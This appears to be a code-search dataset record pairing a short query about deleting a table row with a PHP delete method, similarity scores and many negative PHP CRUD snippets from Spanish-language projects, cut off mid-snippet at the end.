'hojaSeguridad' => $value->hojaSeguridad,\n 'idAsignacion' => $idAsignacion\n );\n\n //RETORNA ID PRIMARIA REGISTRADA\n $nuevaIdPrimaria = $this->analisisRiesgo->insertarDatosSustaciaQuimica($arraySustanciaQuimica);\n\n foreach ($nuevaIdPrimaria as $key3 =>$val)\n echo($val['LAST_INSERT_ID()']);\n\n }\n }", "public function insert()\n {\n if(empty($this->attributes)){\n return;\n }\n if ($this->isAutoInc) {\n $columlList = \" (\";\n $valuelList = \" (\";\n foreach ($this->attributes as $column => $value) {\n $columlList .= $column . \", \";\n $valuelList .= \":\".$column . \", \";\n }\n $columlList = str_last_replace(\", \", \")\", $columlList);\n $valuelList = str_last_replace(\", \", \")\", $valuelList);\n $sqlQuery = \"INSERT INTO \" . $this->table . $columlList . \" VALUES\" . $valuelList;\n\n Db::instance()->execute($sqlQuery,$this->attributes);\n #println($sqlQuery, \"blue\");\n }\n }", "public function insert(Tag $tag);", "public function insert()\n {\n $this->id = insert($this);\n }", "public function insert_data( $data,$table)\n {\n \n $this->db->insert('sewa',$data);\n \n }", "public function run()\n {\n \\DB::table('iva')->insert([\n\n \n 'porcentaje' => 16\n \n \n ]);\n }", "function insert()\n\t{\n\t\t$this->edit(true);\n\t}", "public function insert() {\r\n\t\t$this->getMapper()->insert($this);\r\n\t}" ]
[ "0.73580956", "0.6940087", "0.6884838", "0.6882144", "0.68577224", "0.6841094", "0.68328875", "0.68071985", "0.67966086", "0.6765925", "0.67630124", "0.6744094", "0.67049754", "0.6678639", "0.6649578", "0.6647999", "0.6647501", "0.659197", "0.6587217", "0.65766126", "0.65725136", "0.6552683", "0.6549272", "0.65345854", "0.6527558", "0.65086836", "0.65060836", "0.6502508", "0.64846146", "0.6480107", "0.6480107", "0.64291143", "0.6412227", "0.63791305", "0.6372654", "0.6371833", "0.63577497", "0.63368374", "0.6316094", "0.6315553", "0.6313088", "0.629654", "0.62955797", "0.6295246", "0.6287636", "0.6280883", "0.62641716", "0.62621677", "0.6260877", "0.62600654", "0.62518317", "0.6247758", "0.6247341", "0.6226071", "0.6221243", "0.62175906", "0.62175906", "0.6202802", "0.619132", "0.61885357", "0.6180681", "0.6164208", "0.61639136", "0.6155382", "0.61550915", "0.6154392", "0.6127579", "0.61181533", "0.61118346", "0.61075085", "0.6102954", "0.6095183", "0.6094388", "0.6084284", "0.6083237", "0.60780966", "0.6059866", "0.60534227", "0.60517085", "0.60502976", "0.6047338", "0.6045873", "0.6043373", "0.60412544", "0.60325366", "0.60284597", "0.60156375", "0.60112554", "0.60099757", "0.60002464", "0.59994775", "0.59921706", "0.598594", "0.5982983", "0.5979949", "0.5975633", "0.59731764", "0.5969072", "0.5963451", "0.5956072", "0.59552217" ]
0.0
-1
Elimina una fila de la taula
function delete() { if (isset($_GET['id'])) { $coche=new coches_model(); $id = $_GET['id']; $error = $coche->delete($id); if (!$error) { header( "Location: index.php?controller=coches&action=listado"); } else { echo $error; } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function eliminarImagenSusQ($campo, $tabla, $idAsignacion)\n {\n $data=$this->analisisRiesgo->getNombreImagen($campo, $tabla, $idAsignacion);\n //Delete el nombre de la imagen de la base de datos\n $borrar=Array($campo => null);\n $this->analisisRiesgo->deleteImagen($borrar, $tabla, $idAsignacion);\n //Unlink el nombre de la imagen del servidor\n foreach($data as $row)\n {\n $nombreImagen=$row[$campo];\n unlink(\"assets/img/fotoAnalisisRiesgo/fotoSustanciasQuimicas/$nombreImagen\");\n echo \"OK\";\n }\n\n }", "function eliminar($bd);", "function eliminarFactura(){\r\n\t\t$this->procedimiento='tesor.f_factura_ime';\r\n\t\t$this->transaccion='TSR_FAC_ELI';\r\n\t\t$this->tipo_procedimiento='IME';\r\n\t\t\t\t\r\n\t\t//Define los parametros para la funcion\r\n\t\t$this->setParametro('id_factura','id_factura','int4');\r\n\r\n\t\t//Ejecuta la instruccion\r\n\t\t$this->armarConsulta();\r\n\t\t$this->ejecutarConsulta();\r\n\r\n\t\t//Devuelve la respuesta\r\n\t\treturn $this->respuesta;\r\n\t}", "function eliminarTabla(){\n\t\t$this->procedimiento='wf.ft_tabla_ime';\n\t\t$this->transaccion='WF_tabla_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_tabla','id_tabla','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "static public function mdlEliminarfuentefinanciamiento($tabla, $datos){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id_fuente_financiamiento = :id\");\n\n\t\t$stmt -> bindParam(\":id\", $datos, PDO::PARAM_INT);\n\n\t\tif($stmt -> execute()){\n\n\t\t\treturn \"ok\";\n\t\t\n\t\t}else{\n\n\t\t\treturn \"error\";\t\n\n\t\t}\n\n\t\t$stmt -> close();\n\n\t\t$stmt = null;\n\n\t}", "private function removeFilmsSinFuncionesDePeliculaxgenero(){\n \n $query = \n \"DELETE pg\n FROM peliculaxgenero pg\n LEFT JOIN funciones f\n ON pg.id_pelicula = f.id_pelicula\n WHERE f.id_pelicula IS NULL\";\n try{\n $this->connection = Connection::GetInstance();\n $this->connection->ExecuteNonQuery($query);\n\n } catch (Exception $ex){ \n throw $ex;\n }\n }", "public function eliminar($objeto){\r\n\t}", "function eliminarImagenCarpeta($campo, $tabla, $idAsignacion, $carpeta)\n {\n $data=$this->analisisRiesgo->getNombreImagen($campo, $tabla, $idAsignacion);\n //Delete el nombre de la imagen de la base de datos\n $borrar=Array($campo => null);\n $this->analisisRiesgo->deleteImagen($borrar, $tabla, $idAsignacion);\n //Unlink el nombre de la imagen del servidor\n foreach($data as $row)\n {\n $nombreImagen=$row[$campo];\n unlink(\"assets/img/fotoAnalisisRiesgo/$carpeta/$nombreImagen\");\n echo \"OK\";\n }\n\n }", "function removePacote($campos){\n\t\t\t$listDel = $campos['InputDelPacote'];\t\t\t\n\t\t\t\t\n\t\t\t\tif(!empty($listDel)){\n\t\t\t\t\n\t\t\t\tfor($i=0;$i<sizeof($listDel);$i++){\n\t\t\t\t\t\tif($listDel[$i] != 0){\n\t\t\t\t\t\t\t\t$sql = \" DELETE FROM vekttor_venda_pacote WHERE pacotes_id = '$listDel[$i]' AND vekttor_venda_id = '$campos[venda_id]'\";\n\t\t\t\t\t\t\t\t//echo $sql;\n\t\t\t\t\t\t\t\tmysql_query($sql);\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t/*Seleciona os pacote para trazer os modulos */\n\t\t\t\t\t$sqlPacote = mysql_query($tn=\" SELECT * FROM pacote_item WHERE pacote_id = '$listDel[$i]' \");\n\t\t\t\t\t\twhile($pct=mysql_fetch_object($sqlPacote)){\n\t\t\t\t\t\t\t\t$modulos[] = $pct->sis_modulo_id;\n\t\t\t\t\t\t}\n\t\t\t\t} /*Fim de For*/\n\t\t\t\t\n\t\t\t\t\tfor($j=0;$j<sizeof($modulos);$j++){\n\t\t\t\t\t\t\t$sqlModulos = \" DELETE FROM usuario_tipo_modulo WHERE modulo_id = '$modulos[$j]' AND usuario_tipo_id = '$campos[id_usuario_tipo]'\";\n\t\t\t\t\t\t\tmysql_query($sqlModulos);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n}", "public function delete_fakul() {\r\n $where = ' KD_FAKUL=' . $this->get_kode_fakul();\r\n $this->db->delete($this->_table, $where);\r\n }", "public static function mdlEliminarGastosFijos($tabla, $valor){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id = :id\");\n\n\t\t$stmt->bindParam(\":id\", $valor, PDO::PARAM_INT);\n\n\t\tif ($stmt->execute()) {\n\t\t\t\n\t\t\treturn 'ok';\n\t\t}else{\n\t\t\treturn 'error';\n\t\t}\n\n\n\n\n\n\t\t\n\t}", "public function Elimina_Eletiva(&$Faltantes, $Possiveis) {\n\t\t// ToDo: Usar ID ao inves de sigla\n\t\t$creditos = 0;\n\t\t$ret = array('creditos' => 0, 'diff_creditos' => 0, 'siglas' => array());\n\t\tforeach($Faltantes as $c => $Faltante) {\n\t\t\t// Cria (ou usa uma copia anterior) desta CurriculoEletiva\n\t\t\t$Faltantes[$c] = $Faltante = $Faltante->Copia();\n\t\t\t$Conjunto = $Faltante->getConjuntos(true);\n\t\t\tforeach($Conjunto as $indice => $Bloco) {\n\t\t\t\t$sigla = $Bloco->getSigla(false);\n\t\t\t\t$Disciplina = $Bloco->getDisciplina(true);\n\t\t\t\tif($Bloco->Fechada() === true) { // Fechada\n\t\t\t\t\t$Eliminadas = $this->Elimina($Disciplina, $Possiveis);\n\t\t\t\t\tif($Eliminadas !== false) {\n\t\t\t\t\t\tforeach($Eliminadas as $Eli) {\n\t\t\t\t\t\t\t$ret['creditos'] += $Eli->getDisciplina(true)->getCreditos(false);\n\t\t\t\t\t\t\t$ret['siglas'][] = $Eli->getDisciplina(true)->getSigla(false);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Se ela foi eliminada por equivalencia, e as equivalentes somam mais creditos que a original...\n\t\t\t\t\t\tif($ret['creditos'] > $Disciplina->getCreditos())\n\t\t\t\t\t\t\t$ret['diff_creditos'] += $creditos - $Disciplina->getCreditos();\n\t\t\t\t\t\t$creditos = $Faltante->getCreditos();\n\t\t\t\t\t\t$creditos -= $Disciplina->getCreditos();\n\t\t\t\t\t\tif($creditos <= 0)\n\t\t\t\t\t\t\tunset($Faltantes[$c]);\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t$Conjunto->remove($indice);\n\t\t\t\t\t\t\t$Faltantes[$c]->setConjuntos($Conjunto);\n\t\t\t\t\t\t\t$Faltantes[$c]->setCreditos($creditos);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$ret['eliminada'] = $sigla;\n\t\t\t\t\t\t$ret['sobraram'] = $creditos;\n\t\t\t\t\t\treturn $ret;\n\t\t\t\t\t}\n\t\t\t\t} else { // Livre ou semi-livre\n\t\t\t\t\tif(CurriculoEletiva::Bate_Eletiva($sigla, $this->getDisciplina(true)->getSigla(false), true)) {\n\t\t\t\t\t\t$ret['creditos'] = $this->getDisciplina(true)->getCreditos();\n\t\t\t\t\t\t$ret['siglas'] = array($this->getDisciplina(true)->getSigla(false));\n\t\t\t\t\t\t$ret['eliminada'] = $sigla;\n\t\t\t\t\t\t$creditos = $Faltante->getCreditos();\n\t\t\t\t\t\t$creditos -= $ret['creditos'];\n\t\t\t\t\t\tif($creditos <= 0) {\n\t\t\t\t\t\t\t$ret['diff_creditos'] = $creditos * -1;\n\t\t\t\t\t\t\tunset($Faltantes[$c]);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t$Faltantes[$c]->setCreditos($creditos);\n\t\t\t\t\t\t$ret['sobraram'] = $creditos;\n\t\t\t\t\t\treturn $ret;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "function eliminarUcedifobracivil(){\n\t\t$this->procedimiento='snx.ft_ucedifobracivil_ime';\n\t\t$this->transaccion='SNX_UDOC_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_ucedifobracivil','id_ucedifobracivil','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function opcion__eliminar()\n\t{\n\t\t$id_proyecto = $this->get_id_proyecto_actual();\n\t\tif ( $id_proyecto == 'toba' ) {\n\t\t\tthrow new toba_error(\"No es posible eliminar el proyecto 'toba'\");\n\t\t}\n\t\ttry {\n\t\t\t$p = $this->get_proyecto();\n\t\t\tif ( $this->consola->dialogo_simple(\"Desea ELIMINAR los metadatos y DESVINCULAR el proyecto '\"\n\t\t\t\t\t.$id_proyecto.\"' de la instancia '\"\n\t\t\t\t\t.$this->get_id_instancia_actual().\"'\") ) {\n\t\t\t\t$p->eliminar_autonomo();\n\t\t\t}\n\t\t} catch (toba_error $e) {\n\t\t\t$this->consola->error($e->__toString());\n\t\t}\n\t\t$this->get_instancia()->desvincular_proyecto( $id_proyecto );\n\t}", "private function removeFilmsSinFuncionesDePeliculas(){\n \n $query = \n \"DELETE p\n FROM \" . $this->tableName . \" p\n LEFT JOIN funciones f\n ON p.id = f.id_pelicula\n WHERE f.id_pelicula IS NULL\";\n try{\n $this->connection = Connection::GetInstance();\n $this->connection->ExecuteNonQuery($query);\n\n } catch (Exception $ex){ \n throw $ex;\n }\n }", "function eliminarUoFuncionario(){\r\n\t\t$this->objFunSeguridad=$this->create('MODUoFuncionario');\t\r\n\t\t$this->res=$this->objFunSeguridad->eliminarUoFuncionario($this->objParam);\r\n\t\t$this->res->imprimirRespuesta($this->res->generarJson());\r\n\r\n\t}", "public function eliminarMantenimientosTemporalController($datos){\n\n\t\t\t$datosController = $datos;\n\n\t\t\t$respuesta = GestorMantenimientosModel::eliminarMantenimientosTemporalModel($datosController, \"temporal_mantenimientos\", \"mantenimiento\", \"categoria\");\n\n\t\t\tif ($respuesta) {\n\t\t\t\t\n\n\t\t\t\t\techo '\n\t\t\t\t\t\t<table class=\"table datatable-basic table-bordered table-striped table-hover text-center\">\n\t\t\t\t\t\t\t<thead class=\"success tabla-header\">\n\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t<th>Categoria</th>\n\t\t\t\t\t\t\t\t\t<th>Mantenimiento</th>\n\t\t\t\t\t\t\t\t\t<th>Costo</th>\n\t\t\t\t\t\t\t\t\t<th>Eliminar</th>\n\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t</thead>\n\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t';\n\n\t\t\t\t\t$subtototal = 0;\n\t\t\t\t\t$iva = 0.12;\n\t\t\t\t\t$totalIva = 0;\n\t\t\t\t\t$total = 0;\n\n\t\t\t\t\tforeach ($respuesta as $row => $item) {\n\t\t\t\t\t\t\n\t\t\t\t\t\techo '\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td >' . $item[\"nombre_categoria\"] . '</td>\n\t\t\t\t\t\t\t\t<td >' . $item[\"descripcion_mantenimiento\"] . '</td>\n\t\t\t\t\t\t\t\t<td >' . $item[\"costo_tmp_mantenimiento\"] . '</td>\n\t\t\t\t\t\t\t\t<td class=\"text-center\">\n\t\t\t\t\t\t\t\t<button type=\"button\" onclick=\"eliminarMantenimiento(\\'' . $item[\"id_temporal\"] . '\\')\"><span class=\"fa fa-trash-o\"></span></button></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t';\n\t\t\t\t\t\t$costoMantenimiento = $item[\"costo_tmp_mantenimiento\"];\n\t\t\t\t\t\t$costoMantenimientoF = number_format($costoMantenimiento,2); # Formateo de variables\n\t\t\t\t\t\t$costoMantenimientoR = str_replace(\",\", \"\", $costoMantenimientoF); #Reemplazo de las comas\n\t\t\t\t\t\t$subtototal += $costoMantenimientoR;\n\n\t\t\t\t\t}\n\n\t\t\t\t\techo '\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t</table>\n\n\t\t\t\t\t';\n\n\t\t\t\t\techo '<div class=\"row\">';\n\n\t\t\t\t\techo '<div class=\"col-md-8 col-sm-6 col-xs-12 titulo-total\">\n\t\t\t\t\t\t\t<h4>Total a Pagar</h4>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t';\n\n\t\t\t\t\t\t\n\n\t\t\t\t\techo '<div class=\"col-md-4 col-sm-6 col-xs-12 seccion-total\">';\n\n\t\t\t\t\t\t$totalIva = $subtototal * $iva;\n\t\t\t\t\t\t$total = $subtototal + $totalIva;\n\t\t\t\t\t\techo '<label>Subtotal </label> <label>' . ' $ ' . number_format($subtototal, 2) . '</label><br>';\n\t\t\t\t\t\techo '<label>IVA </label> <label>' . ' $ ' . number_format($totalIva, 2) .'</label><br>';\n\t\t\t\t\t\techo '<label>Total </label> <label>' . ' $ ' . number_format($total, 2) .'</label>';\n\n\t\t\t\t\techo '</div>';\n\n\t\t\t\techo '</div>';\n\n\t\t\t\techo '<hr>';\n\t\t\t}else{\n\n\t\t\t\techo '<script>\n\t\t\t\t\twindow.location = \"ingresoMantenimiento\";\n\t\t\t\t</script>';\n\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t}", "function gaus_jordan_metoda_eliminacije_pokusaj_2($niz_cvorovi, $tacke_x) // $matrica, \n{\n\t// ------------------------------------- Priprema matrice -----------------------------------//\n\n\t// FORMIRANJE MATRICE NA OSNOVU CVOROVA\n\t// $niz_cvorovi = niz_cvorovi($cvorovi);\n // $niz_tacke = niz_tacke($tacke_x);\n $niz_tacke = $tacke_x;\n // sortirani cvorovi po x vrednosti u rastucem poretku radi formiranja intervala\n $niz_cvorovi = sortiranje_cvorova_po_intervalu($niz_cvorovi);\n\n $niz_intervali = niz_intervali($niz_cvorovi);\n // var_dump($niz_intervali);\n $matrica = formiranje_matrice($niz_cvorovi, $niz_intervali);\n\n // -----------------------------------------------------------------------------------------//\n\n\n\t//---------------------------------- RESAVANJE SISTEMA JEDNACINA(matrice) ------------------//\n\n\t$matrica = sort_gl_dijagonala($matrica);\n\t// echo ( napravi_tabelu( $matrica ) );\n\t// exit();\n\n\t// echo ( napravi_tabelu( zaokruzi_koeficijente_za_prikaz ($matrica) ) );\n\t// exit();\n\n\t$matrica = gauss_nuliranje_matrice($matrica);\n\n\t$matrica = jordan_nuliranje_matrice($matrica);\n\n\n\t// -----------------------------------------------------------------------------------------//\n\n\n\t//------------------------ Formiranje konacnih formula za odgovarajuce intervale -----------//\n\n\t$niz_koeficijenata_sa_vrednostima = niz_koeficijenata_sa_vrednostima($matrica);\n\t$abc_grupe = abc_grupe($niz_koeficijenata_sa_vrednostima);\n\t// var_dump($abc_grupe);\n\t// var_dump($niz_koeficijenata_sa_vrednostima);\n\t$formule = formiraj_string_formula_sa_intervalima($niz_koeficijenata_sa_vrednostima);\n\n\t// ispisi formule\n\tfor($form = 1; $form <= count($formule); $form++)\n\t{\n\t\t$formula_str = $formule[$form];\n\t\t$interval_levi = $niz_intervali[$form - 1][0];\n\t\t$interval_desni = $niz_intervali[$form - 1][1];\n\t\techo \"Interval {$form}. je [{$interval_levi}, {$interval_desni}], a formula: {$formula_str} \" . \"<br>\";\n\t}\n\techo \"<br>\";\n\t// -----------------------------------------------------------------------------------------//\n\n\n\t// ------------------------------------Interpolacija----------------------------------------//\n\t$niz_interpoliranih_tacaka = array();\n\tif(!empty($niz_tacke))\n\t{\n\t\tfor($x = 0; $x < count($niz_tacke); $x++)\n\t\t{\n\t\t\t// kriva\n\t\t\t$kr = u_kom_intervalu_je_input($niz_intervali, $niz_tacke[$x]) + 1; // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n\t\t\t// Pn(x)\t=\t\t\t x * x * An + x * Bn + Cn \n\t\t\t$vrednost_y = ( $niz_tacke[$x] * $niz_tacke[$x] * $abc_grupe[$kr][0] ) + ( $niz_tacke[$x] * $abc_grupe[$kr][1] ) + $abc_grupe[$kr][2];\n\t\t\t$niz_interpoliranih_tacaka[] = array($niz_tacke[$x], $vrednost_y);\n\n\t\t\t// $prvi = $niz_intervali[$u_kom_intervalu_je_input][0];\n\t\t\t// $drugi = $niz_intervali[$u_kom_intervalu_je_input][1];\n\t\t\t// $t = $niz_tacke[$x];\n\t\t\t// echo \"{$x}. tacka - {$t} - je u intervalu: {$prvi}, {$drugi}\" . \"<br>\";\n\t\t}\n\t}\n\n\t// -----------------------------------------------------------------------------------------//\n\n\treturn array($matrica, $niz_interpoliranih_tacaka);\n\t\n}", "function eliminarFormula(){\r\n\t\t$this->procedimiento='vef.ft_formula_v2_ime';\r\n\t\t$this->transaccion='VF_FORMULAV2_ELI';\r\n\t\t$this->tipo_procedimiento='IME';\r\n\r\n\t\t//Define los parametros para la funcion\r\n\t\t$this->setParametro('id_formula','id_formula','int4');\r\n\r\n\t\t//Ejecuta la instruccion\r\n\t\t$this->armarConsulta();\r\n\t\t$this->ejecutarConsulta();\r\n\r\n\t\t//Devuelve la respuesta\r\n\t\treturn $this->respuesta;\r\n\t}", "private function removerTemporadas(Serie $serie): void\n {\n // uma função, passando como parãmetro, a temporada\n $serie->temporadas->each(function (Temporada $temporada) {\n\n $this->removerEpisodios($temporada);\n $temporada->delete();\n });\n }", "function eliminarImagenArreglo($campo, $tabla, $llavePrimaria, $campoLlave)\n {\n $data=$this->analisisRiesgo->getNombreImagenTabla($campo, $tabla, $llavePrimaria, $campoLlave);\n //Delete el nombre de la imagen de la base de datos\n $borrar=Array($campo => null);\n $this->analisisRiesgo->deleteImagenTabla($borrar, $tabla, $llavePrimaria, $campoLlave);\n //Unlink el nombre de la imagen del servidor\n foreach($data as $row)\n {\n $nombreImagen=$row[$campo];\n unlink(\"assets/img/fotoAnalisisRiesgo/$campo/$nombreImagen\");\n echo \"OK\";\n }\n\n }", "public function DeleteFichas() {\n\t\t\t$this->objFichas->Delete();\n\t\t}", "static public function mdlEliminarTaller($tabla,$datos){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id = :id\");\n\n\t\t$stmt -> bindParam(\":id\", $datos, PDO::PARAM_INT);\n\n\t\tif($stmt -> execute()){\n\n\t\t\treturn \"ok\";\n\t\t\n\t\t}else{\n\n\t\t\treturn \"error\";\t\n\n\t\t}\n\n\t\t$stmt -> close();\n\n\t\t$stmt = null;\n\n }", "function eliminarSolicitudMayor500000(){\n\t\t$this->procedimiento='mat.ft_solicitud_mayor_500000_ime';\n\t\t$this->transaccion='MAT_SMI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_sol','id_sol','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function eliminarReenvioFactura(){\n\t\t$this->procedimiento='vef.ft_reenvio_factura_ime';\n\t\t$this->transaccion='VF_REFACOR_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_reenvio_factura','id_reenvio_factura','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function eliminarTablaInstancia(){\n\t\t$this->procedimiento='wf.ft_tabla_instancia_ime';\n\t\t$this->transaccion='WF_TABLAINS_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_tabla','id_tabla','integer');\n\t\t$this->setParametro('tipo_estado','tipo_estado','varchar');\n\t\t$this->setParametro('tipo_proceso','tipo_proceso','varchar');\n\t\t$aux = $this->objParam->getParametro('0');\n\t\t\n\t\t$bd_nombre_tabla = $_SESSION['_wf_ins_'.$aux['tipo_proceso'].'_'.$aux['tipo_estado']]['atributos']['bd_nombre_tabla'];\n\t\t$this->setParametro('id_'.$bd_nombre_tabla,'id_'.$bd_nombre_tabla,'integer');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function supprimerEpreuve ($numE) {\n\t if (creepanier ()) {\n\t\t //Nous allons faire recours à un tableau temporaire\n\t\t$tmp = array ();\n\t\t$tmp['numE'] = array ();\n\t\t$tmp['forme'] = array();\n\t\t$tmp['nomE'] = array();\n\t\t$tmp['dateE'] = array();\n\t\t$tmp['categ'] = array();\n\t\t$tmp['prix'] = array ();\n\t\t$tmp['nbr'] = array();\n\t\tfor ($i = 0 ; $i < count ($_SESSION['panier']['numE']);$i ++) {\n\t\t\tif ($_SESSION['panier']['numE'][$i] !== $numE)\n\t\t\t{\n\t\t\t\tarray_push( $tmp['numE'],$_SESSION['panier']['numE'][$i]);\n\t\t\t\tarray_push( $tmp['forme'],$_SESSION['panier']['forme'][$i]);\n\t\t\t\tarray_push( $tmp['nomE'],$_SESSION['panier']['nomE'][$i]);\n\t\t\t\tarray_push( $tmp['dateE'],$_SESSION['panier']['dateE'][$i]);\n\t\t\t\tarray_push( $tmp['categ'],$_SESSION['panier']['categ'][$i]);\n\t\t\t\tarray_push( $tmp['prix'],$_SESSION['panier']['prix'][$i]);\n\t\t\t\tarray_push( $tmp['nbr'],$_SESSION['panier']['nbr'][$i]);\n\t\t\t}\n\t\t}\n\t\t//on affecte le contenu du panier temporaire dans notre panier principale\n\t\t$_SESSION['panier'] = $tmp;\n\t\t//On efface notre panier temporaire\n unset($tmp);\n\t } else {\n\t\t echo \"<p class=\\\"erreur\\\">Erreur réessyer ou contacter l'aministrateur</p>\";\n\t }\n }", "function eliminarImagenServidor($campo, $tabla, $idAsignacion)\n {\n $data=$this->analisisRiesgo->getNombreImagen($campo, $tabla, $idAsignacion);\n //Delete el nombre de la imagen de la base de datos\n $borrar=Array($campo => null);\n $this->analisisRiesgo->deleteImagen($borrar, $tabla, $idAsignacion);\n //Unlink el nombre de la imagen del servidor\n foreach($data as $row)\n {\n $nombreImagen=$row[$campo];\n unlink(\"assets/img/fotoAnalisisRiesgo/$nombreImagen\");\n echo \"OK\";\n }\n\n }", "function eliminarAnalisisPorqueDet(){\n\t\t$this->procedimiento='gem.ft_analisis_porque_det_ime';\n\t\t$this->transaccion='GM_DET_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_analisis_porque_det','id_analisis_porque_det','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function EliminarPerfil()\n {\n $this->db->where('idPerfil', $_POST['idPerfil']);\n $row = $this->db->get('perfil');\n $query=$row->row();\n\n /** Registro de Historial **/\n $Mensaje=\" Se Eliminó Perfil: \".$query->DescripcionPerfil.\"\";\n $this->db->select(\"FU_REGISTRO_HISTORIAL(5,\".$this->glob['idUsuario'].\",'\".$Mensaje.\"','\".$this->glob['FechaAhora'].\"') AS Respuesta\");\n $func[\"Historial\"] = $this->db->get();\n\n\n\n $this->db->where('idPerfil', $_POST['idPerfil']);\n $delete_data[\"Delete\"] = $this->db->delete('perfil');\n $delete_data[\"errDB\"] = $this->db->error();\n\n return $delete_data;\n\n }", "function elimina(&$valores)\n {\n $this->iniVar();\n if (isset($this->bvictimacolectiva->_do->id_grupoper)) {\n $this->eliminaVic($this->bvictimacolectiva->_do, true);\n $_SESSION['fvc_total']--;\n }\n }", "public function DBEliminar()\n {\n $oDbl = $this->getoDbl();\n $nom_tabla = $this->getNomTabla();\n if (($oDbl->exec(\"DELETE FROM $nom_tabla WHERE id_activ='$this->iid_activ' AND id_asignatura='$this->iid_asignatura' AND id_nom=$this->iid_nom\")) === false) {\n $sClauError = 'Matricula.eliminar';\n $_SESSION['oGestorErrores']->addErrorAppLastError($oDbl, $sClauError, __LINE__, __FILE__);\n return false;\n }\n return true;\n }", "static function eliminar_instancia()\n\t{\n\t\tself::$instancia = null;\n\t}", "public function removeXfaInformation() {}", "function eliminarPartidaEjecucion(){\n\t\t$this->procedimiento='pre.ft_partida_ejecucion_ime';\n\t\t$this->transaccion='PRE_PAREJE_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_partida_ejecucion','id_partida_ejecucion','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function removeProcessoPronto(){\n\tunset($_SESSION['fila'][0]);\n\n\t/*REORGANIZA O ARRAY DE PROCESSOS PRONTOS*/\n\t$_SESSION['fila'] = array_values($_SESSION['fila']);\n}", "function eliminarTipoVenta(){\n\t\t$this->procedimiento='vef.ft_tipo_venta_ime';\n\t\t$this->transaccion='VF_TIPVEN_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_tipo_venta','id_tipo_venta','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function ajaxEliminarFichaX($request){\n\t\t\n\t\t$pdo = Conexion::conectar();\n\t\t$idficha = $request[\"idFicha\"];\n\t\t\n\t\t$sql = \"DELETE fb\n\t\tFROM formulario_bajas fb\n\t\tWHERE fb.id_covid_resultado = $idficha;\n\t\tDELETE cr\n\t\tFROM covid_resultados cr \n\t\tWHERE cr.id_ficha = $idficha;\";\n\n\t\t$stmt = $pdo->prepare($sql);\n\n\t\tif ($stmt->execute()) {\n\n\t\t\t$pdo = Conexion::conectarBDFicha();\n\t\t\t\n\t\t\t$sql = \"DELETE aep\n\t\t\tFROM ant_epidemiologicos aep \n\t\t\tWHERE aep.id_ficha = 